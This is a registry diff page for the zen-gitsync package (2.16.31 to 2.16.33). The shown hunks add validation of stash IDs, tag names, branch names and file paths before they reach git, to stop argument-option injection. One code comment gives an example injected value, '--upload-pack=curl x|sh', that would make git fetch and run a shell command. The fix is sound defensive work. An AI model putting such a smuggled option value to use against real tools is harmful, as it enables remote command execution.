zen-gitsync 2.16.31 → 2.16.33

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (75) hide show
  1. package/README.md +31 -0
  2. package/package.json +2 -2
  3. package/src/config.js +12 -2
  4. package/src/ui/public/assets/AgentView-D9y5maA3.js +4 -0
  5. package/src/ui/public/assets/AppVersionBadge-CsKq0HLG.js +2 -0
  6. package/src/ui/public/assets/BranchSelector-C09wdMBR.js +1 -0
  7. package/src/ui/public/assets/CommitForm-wTVAlj8K.js +6 -0
  8. package/src/ui/public/assets/CommonDialog-gF_3v5QY.js +1 -0
  9. package/src/ui/public/assets/EditorView-BYaXYY5H.js +1 -0
  10. package/src/ui/public/assets/FlowExecutionViewer-DvSe3GqC.js +1 -0
  11. package/src/ui/public/assets/FlowOrchestrationWorkspace-FYLZxzMC.js +21 -0
  12. package/src/ui/public/assets/LogList-BB56Ma_-.js +7 -0
  13. package/src/ui/public/assets/MindmapView-B57NJ-tK.js +2 -0
  14. package/src/ui/public/assets/MonitorView-DujOLv6G.js +1 -0
  15. package/src/ui/public/assets/ProjectStartupButton-B0vIxM8Y.js +1 -0
  16. package/src/ui/public/assets/RemoteRepoCard-Tdhzf-Jb.js +5 -0
  17. package/src/ui/public/assets/SourceMapView-Bf7__bEW.js +3 -0
  18. package/src/ui/public/assets/SvgIcon-DV0F5fm7.js +1 -0
  19. package/src/ui/public/assets/UserInputNode-ZatmWGxI.js +1 -0
  20. package/src/ui/public/assets/WorkbenchView-DVjvpQMi.js +28 -0
  21. package/src/ui/public/assets/_plugin-vue_export-helper-DkdPQgM8.js +17 -0
  22. package/src/ui/public/assets/configStore-C2xoYf_U.js +1 -0
  23. package/src/ui/public/assets/element-plus-BrZIKMTV.js +47 -0
  24. package/src/ui/public/assets/{flow-mindmap-C0_IdibG.css → flow-mindmap-DnzM9SlK.css} +1 -1
  25. package/src/ui/public/assets/flow-mindmap-uF7lcnUF.js +139 -0
  26. package/src/ui/public/assets/index-DDa4fUq_.js +79 -0
  27. package/src/ui/public/assets/index-DkMUEB4_.css +1 -0
  28. package/src/ui/public/assets/office-docx-DZfJaVF6.js +32 -0
  29. package/src/ui/public/assets/office-excel-BhBLQBXN.js +170 -0
  30. package/src/ui/public/assets/office-pptx-C0yb5pVU.js +74 -0
  31. package/src/ui/public/assets/toolsStore-Dpb3rc-o.js +1 -0
  32. package/src/ui/public/assets/{vendor-Cx8PA1NP.js → vendor-BuJWEuf4.js} +43 -43
  33. package/src/ui/public/assets/vue-flow-CrEicpfB.js +39 -0
  34. package/src/ui/public/index.html +12 -12
  35. package/src/ui/server/index.js +9 -23
  36. package/src/ui/server/middleware/originGuard.js +138 -0
  37. package/src/ui/server/middleware/originGuard.test.js +125 -0
  38. package/src/ui/server/routes/fs.js +83 -3
  39. package/src/ui/server/routes/git/diff.js +12 -4
  40. package/src/ui/server/routes/git/stash.js +39 -29
  41. package/src/ui/server/routes/git/tags.js +23 -16
  42. package/src/ui/server/routes/git.js +17 -11
  43. package/src/ui/server/routes/gitOps.js +126 -47
  44. package/src/ui/server/routes/npm.js +36 -10
  45. package/src/ui/server/utils/gitArgs.js +165 -0
  46. package/src/ui/server/utils/gitArgs.test.js +215 -0
  47. package/src/ui/server/utils/officePreview.js +80 -0
  48. package/src/ui/server/utils/officePreview.test.js +21 -0
  49. package/src/ui/server/utils/startServerOnAvailablePort.js +20 -2
  50. package/src/ui/server/utils/startServerOnAvailablePort.test.js +181 -0
  51. package/src/ui/public/assets/AgentView-DPan52IZ.js +0 -4
  52. package/src/ui/public/assets/AppVersionBadge-CiorBQrl.js +0 -2
  53. package/src/ui/public/assets/BranchSelector-OQWGKJq8.js +0 -1
  54. package/src/ui/public/assets/CommitForm-Cq1UUNM4.js +0 -6
  55. package/src/ui/public/assets/CommonDialog-DJqOwkbm.js +0 -1
  56. package/src/ui/public/assets/EditorView-0HmbFAex.js +0 -1
  57. package/src/ui/public/assets/FlowExecutionViewer-DjIAKDQt.js +0 -1
  58. package/src/ui/public/assets/FlowOrchestrationWorkspace-CCs7sMOO.js +0 -21
  59. package/src/ui/public/assets/LogList-De9E23D1.js +0 -7
  60. package/src/ui/public/assets/MindmapView-CpyaWr7b.js +0 -2
  61. package/src/ui/public/assets/MonitorView-DVwS51YV.js +0 -1
  62. package/src/ui/public/assets/ProjectStartupButton-DiaZ8xiI.js +0 -1
  63. package/src/ui/public/assets/RemoteRepoCard-B299cQhO.js +0 -5
  64. package/src/ui/public/assets/SourceMapView-C7vO_5Hz.js +0 -3
  65. package/src/ui/public/assets/SvgIcon-B9XhBoIQ.js +0 -1
  66. package/src/ui/public/assets/UserInputNode-CeNehn29.js +0 -1
  67. package/src/ui/public/assets/WorkbenchView-Be4GcjdO.js +0 -28
  68. package/src/ui/public/assets/_plugin-vue_export-helper-aENhMEEX.js +0 -17
  69. package/src/ui/public/assets/configStore-BvJZNumP.js +0 -1
  70. package/src/ui/public/assets/element-plus-B3pTS_5R.js +0 -32
  71. package/src/ui/public/assets/flow-mindmap-hUZCS6o1.js +0 -138
  72. package/src/ui/public/assets/index-CuD0oK0z.js +0 -79
  73. package/src/ui/public/assets/index-zmReBTKj.css +0 -1
  74. package/src/ui/public/assets/toolsStore-D9gXnqwO.js +0 -1
  75. package/src/ui/public/assets/vue-flow-COROsN-V.js +0 -39
@@ -15,6 +15,7 @@
15
15
  import { createDiffHelpers } from './diffUtils.js';
16
16
  import logger from '../../utils/logger.js'
17
17
  import { asyncRoute, HttpError } from '../../utils/asyncRoute.js';
18
+ import { assertGitRef } from '../../utils/gitArgs.js';
18
19
 
19
20
  export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
20
21
  const { checkShouldSkipDiff, checkDiffSize, getDiffStats } = createDiffHelpers({ execGitCommand });
@@ -260,8 +261,11 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
260
261
  });
261
262
  }
262
263
 
264
+ // stashId 形如 stash@{0}(不含黑名单字符,能通过 ref 校验);
265
+ // 以 - 开头的输入会被 git 当选项,必须挡掉
266
+ const safeStashId = assertGitRef(stashId, 'stash ID');
263
267
  // 决定是使用apply(保留stash)还是pop(应用后删除stash)
264
- const command = pop ? ['stash', 'pop', stashId] : ['stash', 'apply', stashId];
268
+ const command = pop ? ['stash', 'pop', safeStashId] : ['stash', 'apply', safeStashId];
265
269
 
266
270
  try {
267
271
  const { stdout } = await execGitCommand(command);
@@ -285,7 +289,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
285
289
  }
286
290
  } catch (error) {
287
291
  logger.error('应用stash失败:', error);
288
- res.status(500).json({ success: false, error: error.message });
292
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
289
293
  }
290
294
  }));
291
295
 
@@ -301,7 +305,8 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
301
305
  });
302
306
  }
303
307
 
304
- const { stdout } = await execGitCommand(['stash', 'drop', stashId]);
308
+ const safeStashId = assertGitRef(stashId, 'stash ID');
309
+ const { stdout } = await execGitCommand(['stash', 'drop', safeStashId]);
305
310
 
306
311
  res.json({
307
312
  success: true,
@@ -310,7 +315,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
310
315
  });
311
316
  } catch (error) {
312
317
  logger.error('删除stash失败:', error);
313
- res.status(500).json({ success: false, error: error.message });
318
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
314
319
  }
315
320
  }));
316
321
 
@@ -341,11 +346,12 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
341
346
  error: '缺少stash ID参数'
342
347
  });
343
348
  }
344
-
345
- logger.info(`获取stash文件列表: stashId=${stashId}`);
346
-
349
+ const safeStashId = assertGitRef(stashId, 'stash ID');
350
+
351
+ logger.info(`获取stash文件列表: stashId=${safeStashId}`);
352
+
347
353
  // 0) 解析出当前 stash 提交及其父提交哈希,避免在 Windows 上使用 ^ 语法
348
- const { stdout: parentsLine } = await execGitCommand(['rev-list', '--parents', '-n', '1', stashId], { log: false });
354
+ const { stdout: parentsLine } = await execGitCommand(['rev-list', '--parents', '-n', '1', safeStashId], { log: false });
349
355
  const hashes = parentsLine.trim().split(/\s+/).filter(Boolean);
350
356
  const stashCommit = hashes[0] || '';
351
357
  const parent1 = hashes[1] || '';
@@ -376,7 +382,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
376
382
  });
377
383
  } catch (error) {
378
384
  logger.error('获取stash文件列表失败:', error);
379
- res.status(500).json({
385
+ res.status(error?.statusCode || 500).json({
380
386
  success: false,
381
387
  error: `获取stash文件列表失败: ${error.message}`
382
388
  });
@@ -394,11 +400,13 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
394
400
  error: '缺少必要参数'
395
401
  });
396
402
  }
397
-
398
- logger.info(`获取stash文件差异: stashId=${stashId}, file=${file}`);
399
-
403
+ const safeStashId = assertGitRef(stashId, 'stash ID');
404
+ const safeFile = assertGitPath(file, '文件路径');
405
+
406
+ logger.info(`获取stash文件差异: stashId=${safeStashId}, file=${safeFile}`);
407
+
400
408
  // 先解析父提交哈希,避免使用 ^ 语法
401
- const { stdout: parentsLine } = await execGitCommand(['rev-list', '--parents', '-n', '1', stashId], { log: false });
409
+ const { stdout: parentsLine } = await execGitCommand(['rev-list', '--parents', '-n', '1', safeStashId], { log: false });
402
410
  const hashes = parentsLine.trim().split(/\s+/).filter(Boolean);
403
411
  const stashCommit = hashes[0] || '';
404
412
  const parent1 = hashes[1] || '';
@@ -408,7 +416,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
408
416
  let isFromThirdParent = false;
409
417
  if (parent3) {
410
418
  try {
411
- await execGitCommand(['cat-file', '-e', `${parent3}:${file}`], { log: false });
419
+ await execGitCommand(['cat-file', '-e', `${parent3}:${safeFile}`], { log: false });
412
420
  isFromThirdParent = true;
413
421
  } catch (_) {
414
422
  isFromThirdParent = false;
@@ -417,7 +425,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
417
425
 
418
426
  if (isFromThirdParent) {
419
427
  // 未跟踪文件:读取第三父中的内容,构造新增文件的统一diff
420
- const { stdout: blob } = await execGitCommand(['show', `${parent3}:${file}`], { log: false });
428
+ const { stdout: blob } = await execGitCommand(['show', `${parent3}:${safeFile}`], { log: false });
421
429
 
422
430
  // 检查文件大小
423
431
  const sizeCheck = checkDiffSize(blob, 500);
@@ -440,10 +448,10 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
440
448
 
441
449
  const plusLines = lines.map(l => `+${l}`).join('\n');
442
450
  const diffText = [
443
- `diff --git a/${file} b/${file}`,
451
+ `diff --git a/${safeFile} b/${safeFile}`,
444
452
  `new file mode 100644`,
445
453
  `--- /dev/null`,
446
- `+++ b/${file}`,
454
+ `+++ b/${safeFile}`,
447
455
  `@@ -0,0 +${lineCount} @@`,
448
456
  `${plusLines}`
449
457
  ].join('\n');
@@ -454,11 +462,11 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
454
462
  // 否则,使用原有方式获取与父1的变更
455
463
  // checkShouldSkipDiff 接受字符串命令用于日志展示,这里只用于大小判断;
456
464
  // 走 execGitCommand 时用 argv 数组,避免 Windows 下 cmd.exe 拼引号被破坏。
457
- const diffCommandForCheck = `git show ${stashCommit} -- "${file}"`;
458
- const diffCommandArgs = ['show', stashCommit, '--', file];
459
-
465
+ const diffCommandForCheck = `git show ${stashCommit} -- "${safeFile}"`;
466
+ const diffCommandArgs = ['show', stashCommit, '--', safeFile];
467
+
460
468
  // 使用优化的检查函数
461
- const skipCheck = await checkShouldSkipDiff(file, diffCommandForCheck);
469
+ const skipCheck = await checkShouldSkipDiff(safeFile, diffCommandForCheck);
462
470
  if (skipCheck.shouldSkip) {
463
471
  return res.json({
464
472
  success: true,
@@ -484,7 +492,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
484
492
  res.json({ success: true, diff: stdout, stats });
485
493
  } catch (error) {
486
494
  logger.error('获取stash文件差异失败:', error);
487
- res.status(500).json({
495
+ res.status(error?.statusCode || 500).json({
488
496
  success: false,
489
497
  error: `获取stash文件差异失败: ${error.message}`
490
498
  });
@@ -495,13 +503,15 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
495
503
  app.get('/api/stash-file-compare', asyncRoute(async (req, res) => {
496
504
  try {
497
505
  const { stashId, file } = req.query;
498
-
506
+
499
507
  if (!stashId || !file) {
500
508
  throw new HttpError(400, '缺少必要参数');
501
509
  }
502
-
510
+ const safeStashId = assertGitRef(stashId, 'stash ID');
511
+ const safeFile = assertGitPath(file, '文件路径');
512
+
503
513
  // 解析父提交哈希
504
- const { stdout: parentsLine } = await execGitCommand(['rev-list', '--parents', '-n', '1', stashId], { log: false });
514
+ const { stdout: parentsLine } = await execGitCommand(['rev-list', '--parents', '-n', '1', safeStashId], { log: false });
505
515
  const hashes = parentsLine.trim().split(/\s+/).filter(Boolean);
506
516
  const stashCommit = hashes[0] || '';
507
517
  const parent1 = hashes[1] || '';
@@ -511,7 +521,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
511
521
  let isFromThirdParent = false;
512
522
  if (parent3) {
513
523
  try {
514
- await execGitCommand(['cat-file', '-e', `${parent3}:${file}`], { log: false });
524
+ await execGitCommand(['cat-file', '-e', `${parent3}:${safeFile}`], { log: false });
515
525
  isFromThirdParent = true;
516
526
  } catch (_) {
517
527
  isFromThirdParent = false;
@@ -522,7 +532,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
522
532
  let original = '';
523
533
  if (!isFromThirdParent && parent1) {
524
534
  try {
525
- const { stdout: origOut } = await execGitCommand(['show', `${parent1}:${file}`], { log: false });
535
+ const { stdout: origOut } = await execGitCommand(['show', `${parent1}:${safeFile}`], { log: false });
526
536
  original = origOut ?? '';
527
537
  } catch (_) {
528
538
  original = ''; // 文件在储藏前不存在
@@ -534,7 +544,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
534
544
  const modRef = isFromThirdParent ? parent3 : stashCommit;
535
545
  if (modRef) {
536
546
  try {
537
- const { stdout: modOut } = await execGitCommand(['show', `${modRef}:${file}`], { log: false });
547
+ const { stdout: modOut } = await execGitCommand(['show', `${modRef}:${safeFile}`], { log: false });
538
548
  modified = modOut ?? '';
539
549
  } catch (_) {
540
550
  modified = ''; // 文件已被删除
@@ -544,7 +554,7 @@ export function registerGitStashRoutes({ app, execGitCommand, configManager }) {
544
554
  res.json({ success: true, original, modified });
545
555
  } catch (error) {
546
556
  logger.error('获取stash文件对比失败:', error);
547
- res.status(500).json({ success: false, error: `获取stash文件对比失败: ${error.message}` });
557
+ res.status(error?.statusCode || 500).json({ success: false, error: `获取stash文件对比失败: ${error.message}` });
548
558
  }
549
559
  }));
550
560
  }
@@ -13,6 +13,7 @@
13
13
  // limitations under the License.
14
14
  //
15
15
  import { asyncRoute, HttpError } from '../../utils/asyncRoute.js'
16
+ import { assertGitRef, assertGitHash } from '../../utils/gitArgs.js'
16
17
 
17
18
  import logger from '../../utils/logger.js'
18
19
 
@@ -27,27 +28,29 @@ export function registerGitTagRoutes({ app, execGitCommand, clearCommandHistory
27
28
  if (!tagName) {
28
29
  throw new HttpError(400, '缺少标签名称');
29
30
  }
30
-
31
+ // tagName 与 commit 都落在 git 的参数位上,以 - 开头就会被当选项
32
+ const safeTagName = assertGitRef(tagName, '标签名');
33
+
31
34
  const tagArgs = ['tag'];
32
-
35
+
33
36
  if (type === 'annotated') {
34
37
  // 附注标签
35
38
  if (!message) {
36
39
  throw new HttpError(400, '附注标签需要提供说明信息');
37
40
  }
38
- tagArgs.push('-a', tagName, '-m', message);
41
+ tagArgs.push('-a', safeTagName, '-m', message);
39
42
  } else {
40
43
  // 轻量标签
41
- tagArgs.push(tagName);
44
+ tagArgs.push(safeTagName);
42
45
  }
43
-
46
+
44
47
  // 如果指定了commit,添加到命令中
45
- if (commit && commit.trim()) {
46
- tagArgs.push(commit.trim());
48
+ if (commit && String(commit).trim()) {
49
+ tagArgs.push(assertGitHash(commit));
47
50
  }
48
-
51
+
49
52
  const { stdout } = await execGitCommand(tagArgs);
50
-
53
+
51
54
  res.json({
52
55
  success: true,
53
56
  message: '标签创建成功',
@@ -55,7 +58,7 @@ export function registerGitTagRoutes({ app, execGitCommand, clearCommandHistory
55
58
  });
56
59
  } catch (error) {
57
60
  logger.error('创建标签失败:', error);
58
- res.status(500).json({ success: false, error: error.message });
61
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
59
62
  }
60
63
  }));
61
64
 
@@ -113,8 +116,11 @@ export function registerGitTagRoutes({ app, execGitCommand, clearCommandHistory
113
116
  throw new HttpError(400, '缺少标签名称');
114
117
  }
115
118
 
116
- const { stdout } = await execGitCommand(['push', 'origin', tagName]);
117
-
119
+ // tagName 落在 git 的参数位上,不校验的话传 '--upload-pack=curl x|sh'
120
+ // 就能让 git 执行命令(execFile 无 shell 也拦不住)。
121
+ const safeTagName = assertGitRef(tagName, '标签名');
122
+ const { stdout } = await execGitCommand(['push', 'origin', safeTagName]);
123
+
118
124
  res.json({
119
125
  success: true,
120
126
  message: '标签推送成功',
@@ -122,7 +128,7 @@ export function registerGitTagRoutes({ app, execGitCommand, clearCommandHistory
122
128
  });
123
129
  } catch (error) {
124
130
  logger.error('推送标签失败:', error);
125
- res.status(500).json({ success: false, error: error.message });
131
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
126
132
  }
127
133
  }));
128
134
 
@@ -151,8 +157,9 @@ export function registerGitTagRoutes({ app, execGitCommand, clearCommandHistory
151
157
  throw new HttpError(400, '缺少标签名称');
152
158
  }
153
159
 
154
- const { stdout } = await execGitCommand(['tag', '-d', tagName]);
155
-
160
+ const safeTagName = assertGitRef(tagName, '标签名');
161
+ const { stdout } = await execGitCommand(['tag', '-d', safeTagName]);
162
+
156
163
  res.json({
157
164
  success: true,
158
165
  message: '标签删除成功',
@@ -160,7 +167,7 @@ export function registerGitTagRoutes({ app, execGitCommand, clearCommandHistory
160
167
  });
161
168
  } catch (error) {
162
169
  logger.error('删除标签失败:', error);
163
- res.status(500).json({ success: false, error: error.message });
170
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
164
171
  }
165
172
  }));
166
173
 
@@ -15,6 +15,7 @@
15
15
  import express from 'express';
16
16
  import logger from '../utils/logger.js'
17
17
  import { asyncRoute, HttpError } from '../utils/asyncRoute.js';
18
+ import { assertGitRef } from '../utils/gitArgs.js';
18
19
 
19
20
  export function registerGitRoutes({
20
21
  app,
@@ -63,28 +64,30 @@ export function registerGitRoutes({
63
64
  if (!newBranchName) {
64
65
  throw new HttpError(400, '分支名称不能为空');
65
66
  }
67
+ // 分支名落在 git 的参数位上,不校验的话 --upload-pack=... 这类能被当选项解析
68
+ const safeBranchName = assertGitRef(newBranchName, '分支名');
66
69
 
67
70
  // 构建创建分支的命令
68
- let commandArgs = ['branch', newBranchName];
71
+ let commandArgs = ['branch', safeBranchName];
69
72
 
70
73
  // 如果指定了基础分支,则基于该分支创建
71
74
  if (baseBranch) {
72
- commandArgs = ['branch', newBranchName, baseBranch];
75
+ commandArgs = ['branch', safeBranchName, assertGitRef(baseBranch, '基础分支名')];
73
76
  }
74
77
 
75
78
  // 执行创建分支命令
76
79
  await execGitCommand(commandArgs);
77
80
 
78
81
  // 切换到新创建的分支
79
- await execGitCommand(['checkout', newBranchName]);
82
+ await execGitCommand(['checkout', safeBranchName]);
80
83
 
81
84
  // 清除分支缓存,因为分支已切换
82
85
  clearBranchCache();
83
86
 
84
- res.json({ success: true, branch: newBranchName });
87
+ res.json({ success: true, branch: safeBranchName });
85
88
  } catch (error) {
86
89
  logger.error('创建分支失败:', error);
87
- res.status(500).json({ success: false, error: error.message });
90
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
88
91
  }
89
92
  });
90
93
 
@@ -95,20 +98,23 @@ export function registerGitRoutes({
95
98
  if (!branch) {
96
99
  throw new HttpError(400, '分支名称不能为空');
97
100
  }
101
+ // 下面的 refs/remotes/<branch> 是拼字符串(有前缀,不以 - 开头,安全),
102
+ // 但 checkout 的参数位必须校验
103
+ const safeBranch = assertGitRef(branch, '分支名');
98
104
 
99
- let finalBranch = branch;
105
+ let finalBranch = safeBranch;
100
106
 
101
107
  // 远程分支(如 origin/xxx):直接 checkout 远程引用会进入 detached HEAD,
102
108
  // 需要先解析出同名本地分支——已存在则直接切换,不存在则基于远程分支创建并跟踪。
103
- if (branch.includes('/')) {
109
+ if (safeBranch.includes('/')) {
104
110
  const { stdout: remoteRef } = await execGitCommand(
105
- ['rev-parse', '--verify', '--quiet', `refs/remotes/${branch}`],
111
+ ['rev-parse', '--verify', '--quiet', `refs/remotes/${safeBranch}`],
106
112
  { ignoreError: true, log: false }
107
113
  );
108
114
 
109
115
  if (remoteRef.trim()) {
110
116
  // 去掉第一个路径段(远程名),得到本地分支名,支持 origin/feature/x 这类多级名称
111
- const localName = branch.substring(branch.indexOf('/') + 1);
117
+ const localName = safeBranch.substring(safeBranch.indexOf('/') + 1);
112
118
  const { stdout: localRef } = await execGitCommand(
113
119
  ['rev-parse', '--verify', '--quiet', `refs/heads/${localName}`],
114
120
  { ignoreError: true, log: false }
@@ -119,7 +125,7 @@ export function registerGitRoutes({
119
125
  finalBranch = localName;
120
126
  } else {
121
127
  // 本地没有:创建同名本地分支并跟踪该远程分支
122
- await execGitCommand(['checkout', '--track', branch]);
128
+ await execGitCommand(['checkout', '--track', safeBranch]);
123
129
  clearBranchCache();
124
130
  res.json({ success: true, branch: localName, created: true });
125
131
  return;
@@ -136,7 +142,7 @@ export function registerGitRoutes({
136
142
  res.json({ success: true, branch: finalBranch });
137
143
  } catch (error) {
138
144
  logger.error('切换分支失败:', error);
139
- res.status(500).json({ success: false, error: error.message });
145
+ res.status(error?.statusCode || 500).json({ success: false, error: error.message });
140
146
  }
141
147
  }));
142
148